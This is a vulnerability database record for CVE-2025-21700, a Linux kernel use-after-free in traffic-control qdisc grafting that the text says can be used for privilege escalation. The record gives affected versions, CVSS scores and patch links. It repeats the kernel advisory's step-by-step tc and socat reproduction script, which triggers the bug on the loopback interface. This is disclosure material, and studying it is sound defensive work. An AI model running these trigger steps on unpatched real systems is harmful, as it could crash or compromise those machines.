cve-2025-21700
Vulnerability from cvelistv5
Published
2025-02-13 11:30
Modified
2025-03-24 15:39
EPSS score ?
0.02% (0.04255)
Summary
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
Impacted products
Vendor Product Version
Linux Linux Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
Version: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2
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   Linux Linux Version: 2.6.12
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Show details on NVD website


{
   containers: {
      adp: [
         {
            metrics: [
               {
                  cvssV3_1: {
                     attackComplexity: "LOW",
                     attackVector: "LOCAL",
                     availabilityImpact: "HIGH",
                     baseScore: 7.8,
                     baseSeverity: "HIGH",
                     confidentialityImpact: "HIGH",
                     integrityImpact: "HIGH",
                     privilegesRequired: "LOW",
                     scope: "UNCHANGED",
                     userInteraction: "NONE",
                     vectorString: "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                     version: "3.1",
                  },
               },
               {
                  other: {
                     content: {
                        id: "CVE-2025-21700",
                        options: [
                           {
                              Exploitation: "none",
                           },
                           {
                              Automatable: "no",
                           },
                           {
                              "Technical Impact": "total",
                           },
                        ],
                        role: "CISA Coordinator",
                        timestamp: "2025-02-13T13:51:43.457867Z",
                        version: "2.0.3",
                     },
                     type: "ssvc",
                  },
               },
            ],
            problemTypes: [
               {
                  descriptions: [
                     {
                        cweId: "CWE-416",
                        description: "CWE-416 Use After Free",
                        lang: "en",
                        type: "CWE",
                     },
                  ],
               },
            ],
            providerMetadata: {
               dateUpdated: "2025-02-13T13:51:59.562Z",
               orgId: "134c704f-9b21-4f2e-91b3-4a467353bcc0",
               shortName: "CISA-ADP",
            },
            title: "CISA ADP Vulnrichment",
         },
      ],
      cna: {
         affected: [
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               defaultStatus: "unaffected",
               product: "Linux",
               programFiles: [
                  "net/sched/sch_api.c",
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                  {
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               product: "Linux",
               programFiles: [
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               repo: "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
               vendor: "Linux",
               versions: [
                  {
                     status: "affected",
                     version: "2.6.12",
                  },
                  {
                     lessThan: "2.6.12",
                     status: "unaffected",
                     version: "0",
                     versionType: "semver",
                  },
                  {
                     lessThanOrEqual: "5.4.*",
                     status: "unaffected",
                     version: "5.4.291",
                     versionType: "semver",
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                  {
                     lessThanOrEqual: "5.10.*",
                     status: "unaffected",
                     version: "5.10.235",
                     versionType: "semver",
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                     lessThanOrEqual: "5.15.*",
                     status: "unaffected",
                     version: "5.15.179",
                     versionType: "semver",
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                     lessThanOrEqual: "6.1.*",
                     status: "unaffected",
                     version: "6.1.129",
                     versionType: "semver",
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                     lessThanOrEqual: "6.6.*",
                     status: "unaffected",
                     version: "6.6.76",
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                     lessThanOrEqual: "6.12.*",
                     status: "unaffected",
                     version: "6.12.13",
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                     lessThanOrEqual: "6.13.*",
                     status: "unaffected",
                     version: "6.13.2",
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                     lessThanOrEqual: "*",
                     status: "unaffected",
                     version: "6.14",
                     versionType: "original_commit_for_fix",
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         descriptions: [
            {
               lang: "en",
               value: "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12.  send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13.  send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>",
            },
         ],
         providerMetadata: {
            dateUpdated: "2025-03-24T15:39:00.710Z",
            orgId: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
            shortName: "Linux",
         },
         references: [
            {
               url: "https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97",
            },
            {
               url: "https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b",
            },
            {
               url: "https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d",
            },
            {
               url: "https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf",
            },
            {
               url: "https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8",
            },
            {
               url: "https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70",
            },
            {
               url: "https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc",
            },
            {
               url: "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f",
            },
         ],
         title: "net: sched: Disallow replacing of child qdisc from one parent to another",
         x_generator: {
            engine: "bippy-5f407fcff5a0",
         },
      },
   },
   cveMetadata: {
      assignerOrgId: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      assignerShortName: "Linux",
      cveId: "CVE-2025-21700",
      datePublished: "2025-02-13T11:30:19.003Z",
      dateReserved: "2024-12-29T08:45:45.748Z",
      dateUpdated: "2025-03-24T15:39:00.710Z",
      state: "PUBLISHED",
   },
   dataType: "CVE_RECORD",
   dataVersion: "5.1",
   "vulnerability-lookup:meta": {
      nvd: "{\"cve\":{\"id\":\"CVE-2025-21700\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2025-02-13T12:15:27.837\",\"lastModified\":\"2025-03-24T17:39:56.970\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nnet: sched: Disallow replacing of child qdisc from one parent to another\\n\\nLion Ackermann was able to create a UAF which can be abused for privilege\\nescalation with the following script\\n\\nStep 1. create root qdisc\\ntc qdisc add dev lo root handle 1:0 drr\\n\\nstep2. a class for packet aggregation do demonstrate uaf\\ntc class add dev lo classid 1:1 drr\\n\\nstep3. a class for nesting\\ntc class add dev lo classid 1:2 drr\\n\\nstep4. a class to graft qdisc to\\ntc class add dev lo classid 1:3 drr\\n\\nstep5.\\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\\n\\nstep6.\\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\\n\\nstep7.\\ntc class add dev lo classid 3:1 drr\\n\\nstep 8.\\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\\n\\nstep 9. Display the class/qdisc layout\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nstep10. trigger the bug <=== prevented by this patch\\ntc qdisc replace dev lo parent 1:3 handle 4:0\\n\\nstep 11. Redisplay again the qdiscs/classes\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 1:3 root leaf 4: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nObserve that a) parent for 4:0 does not change despite the replace request.\\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\\nc) both class 1:3 and 3:1 are pointing to it.\\n\\nStep 12.  send one packet to plug\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\\nstep13.  send one packet to the grafted fifo\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\\n\\nstep14. lets trigger the uaf\\ntc class delete dev lo classid 1:3\\ntc class delete dev lo classid 1:1\\n\\nThe semantics of \\\"replace\\\" is for a del/add _on the same node_ and not\\na delete from one node(3:1) and add to another node (1:3) as in step10.\\nWhile we could \\\"fix\\\" with a more complex approach there could be\\nconsequences to expectations so the patch takes the preventive approach of\\n\\\"disallow such config\\\".\\n\\nJoint work with Lion Ackermann <nnamrec@gmail.com>\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: net: sched: No permitir el reemplazo de una qdisc secundaria de una primaria a otra Lion Ackermann pudo crear una UAF que se puede usar de forma abusiva para la escalada de privilegios con el siguiente script  Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug &lt;=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. La semántica de \\\"reemplazar\\\" es para una eliminación/adición _en el mismo nodo_ y no para una eliminación de un nodo (3:1) y una adición a otro nodo (1:3) como en el paso 10. Si bien podríamos \\\"arreglarlo\\\" con un enfoque más complejo, podría haber consecuencias para las expectativas, por lo que el parche adopta el enfoque preventivo de \\\"no permitir dicha configuración\\\". Trabajo conjunto con Lion Ackermann \"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-416\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"2.6.12\",\"versionEndExcluding\":\"5.4.291\",\"matchCriteriaId\":\"C59EC1BB-CF72-482A-9A98-69C4C23A20B6\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.5\",\"versionEndExcluding\":\"5.10.235\",\"matchCriteriaId\":\"545121FA-DE31-4154-9446-C2000FB4104D\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.11\",\"versionEndExcluding\":\"5.15.179\",\"matchCriteriaId\":\"C708062C-4E1B-465F-AE6D-C09C46400875\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.16\",\"versionEndExcluding\":\"6.1.129\",\"matchCriteriaId\":\"2DA5009C-C9B9-4A1D-9B96-78427E8F232C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.2\",\"versionEndExcluding\":\"6.6.76\",\"matchCriteriaId\":\"A6D70701-9CB6-4222-A957-00A419878993\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.7\",\"versionEndExcluding\":\"6.12.13\",\"matchCriteriaId\":\"2897389C-A8C3-4D69-90F2-E701B3D66373\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.13\",\"versionEndExcluding\":\"6.13.2\",\"matchCriteriaId\":\"6D4116B1-1BFD-4F23-BA84-169CC05FC5A3\"}]}]}],\"references\":[{\"url\":\"https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]}]}}",
      vulnrichment: {
         containers: "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.8, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}, {\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-21700\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-02-13T13:51:43.457867Z\"}}}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-416\", \"description\": \"CWE-416 Use After Free\"}]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-02-13T13:51:50.649Z\"}}], \"cna\": {\"title\": \"net: sched: Disallow replacing of child qdisc from one parent to another\", \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"cd796e269123e1994bfc4e99dd76680ba0946a97\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"fe18c21d67dc7d1bcce1bba56515b1b0306db19b\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"38646749d6e12f9d80a08d21ca39f0beca20230d\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"deda09c0543a66fa51554abc5ffd723d99b191bf\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"7e2bd8c13b07e29a247c023c7444df23f9a79fd8\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"73c7e1d6898ccbeee126194dcc05f58b8a795e70\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"46c59ec33ec98aba20c15117630cae43a01404cc\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"bc50835e83f60f56e9bec2b392fb5544f250fb6f\", \"versionType\": \"git\"}], \"programFiles\": [\"net/sched/sch_api.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"2.6.12\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"2.6.12\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"5.4.291\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.4.*\"}, {\"status\": \"unaffected\", \"version\": \"5.10.235\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.10.*\"}, {\"status\": \"unaffected\", \"version\": \"5.15.179\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.15.*\"}, {\"status\": \"unaffected\", \"version\": \"6.1.129\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.76\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12.13\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.12.*\"}, {\"status\": \"unaffected\", \"version\": \"6.13.2\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.13.*\"}, {\"status\": \"unaffected\", \"version\": \"6.14\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"net/sched/sch_api.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97\"}, {\"url\": \"https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b\"}, {\"url\": \"https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d\"}, {\"url\": \"https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf\"}, {\"url\": \"https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8\"}, {\"url\": \"https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70\"}, {\"url\": \"https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc\"}, {\"url\": \"https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f\"}], \"x_generator\": {\"engine\": \"bippy-5f407fcff5a0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nnet: sched: Disallow replacing of child qdisc from one parent to another\\n\\nLion Ackermann was able to create a UAF which can be abused for privilege\\nescalation with the following script\\n\\nStep 1. create root qdisc\\ntc qdisc add dev lo root handle 1:0 drr\\n\\nstep2. a class for packet aggregation do demonstrate uaf\\ntc class add dev lo classid 1:1 drr\\n\\nstep3. a class for nesting\\ntc class add dev lo classid 1:2 drr\\n\\nstep4. a class to graft qdisc to\\ntc class add dev lo classid 1:3 drr\\n\\nstep5.\\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\\n\\nstep6.\\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\\n\\nstep7.\\ntc class add dev lo classid 3:1 drr\\n\\nstep 8.\\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\\n\\nstep 9. Display the class/qdisc layout\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nstep10. trigger the bug <=== prevented by this patch\\ntc qdisc replace dev lo parent 1:3 handle 4:0\\n\\nstep 11. Redisplay again the qdiscs/classes\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 1:3 root leaf 4: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nObserve that a) parent for 4:0 does not change despite the replace request.\\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\\nc) both class 1:3 and 3:1 are pointing to it.\\n\\nStep 12.  send one packet to plug\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\\nstep13.  send one packet to the grafted fifo\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\\n\\nstep14. lets trigger the uaf\\ntc class delete dev lo classid 1:3\\ntc class delete dev lo classid 1:1\\n\\nThe semantics of \\\"replace\\\" is for a del/add _on the same node_ and not\\na delete from one node(3:1) and add to another node (1:3) as in step10.\\nWhile we could \\\"fix\\\" with a more complex approach there could be\\nconsequences to expectations so the patch takes the preventive approach of\\n\\\"disallow such config\\\".\\n\\nJoint work with Lion Ackermann <nnamrec@gmail.com>\"}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2025-03-24T15:39:00.710Z\"}}}",
         cveMetadata: "{\"cveId\": \"CVE-2025-21700\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-03-24T15:39:00.710Z\", \"dateReserved\": \"2024-12-29T08:45:45.748Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2025-02-13T11:30:19.003Z\", \"assignerShortName\": \"Linux\"}",
         dataType: "CVE_RECORD",
         dataVersion: "5.1",
      },
   },
}


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